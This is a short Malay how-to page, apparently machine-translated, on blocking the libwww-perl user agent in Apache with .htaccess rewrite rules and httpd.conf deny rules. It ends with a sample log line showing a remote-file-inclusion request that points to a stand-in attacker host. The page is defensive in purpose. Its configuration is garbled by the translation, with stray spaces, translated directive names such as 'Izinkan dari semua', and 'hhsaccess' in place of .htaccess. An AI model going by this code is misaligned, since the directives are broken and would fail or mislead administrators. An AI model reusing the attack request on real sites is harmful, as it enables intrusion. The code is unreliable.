Bagaimana untuk menyekat libwww-perl - Bagaimana Untuk

Bagaimana untuk menyekat libwww-perl

Ini akan membantu menghilangkan jalur lebar di pusat data anda dan membantu menjimatkan wang dalam jangka panjang. Ini adalah kaedah mengikis yang agak biasa untuk laman web. Saya hanya mengesyorkan penyelesaian ini jika anda perasan sejumlah besar sambungan dari pelbagai sambungan dalam tempoh masa yang singkat.

Langkah 3 hanya boleh digunakan jika konfigurasi Apache semasa anda sudah menggunakan fail .htaccess. Sekiranya anda tidak, gunakan Langkah 4.

Ini kerana penggunaan .htaccess menyebabkan lebih banyak tekanan pada pelayan kerana Apache telah membaca .htaccess untuk setiap sambungan yang dibuat.

Cadangan ini kini digunakan dalam persekitaran pengeluaran saya. Ini tidak ditetapkan dalam kaedah batu kerana setiap persekitaran berbeza. Kaedah ini adalah langkah permulaan yang baik.

4 langkah total

Langkah 1: Masuk ke dalam direktori web anda

cd / your / web / directory

Langkah 2: buat / edit hhsaccess anda

Saya cadangkan penggunaan editor teks kegemaran anda (GUI atau berasaskan teks)

Langkah 3: Tambah kandungan untuk menyekat libwww-perl dari laman web anda

RewriteEngine On
RewriteBase /
RewriteCond% {HTTP_USER_AGENT} libwww-perl. *
RewriteRule. * - [F, L]

Langkah 4: Blok libwww-perl dalam direktori httpd.conf atau /conf.d anda

SetEnvIfNoCase-Agent Ejen "^ Wget" bad_bot
SetEnvIfNoCase User-Agent "^ EmailSiphon" bad_bot
SetEnvIfNoCase User-Agent "^ EmailWolf" bad_bot
SetEnvIfNoCase User-Agent "^ libwww-perl" bad_bot

Perintah membenarkan, menafikan
Izinkan dari semua
Deny dari env = bad_bot

Ini akan membolehkan anda melihat had ini dalam log apache anda
x2.1xx.6x.2x0 www.domain.com - [23 / Okt / 2006: 22: 24: 37 +0000] "GET /wamp_dir/setup/yesno.phtml?no_url=http://www.someattackersite.com /list.txt? HTTP / 1.1 "200 72672" - "" libwww-perl / 5.76 "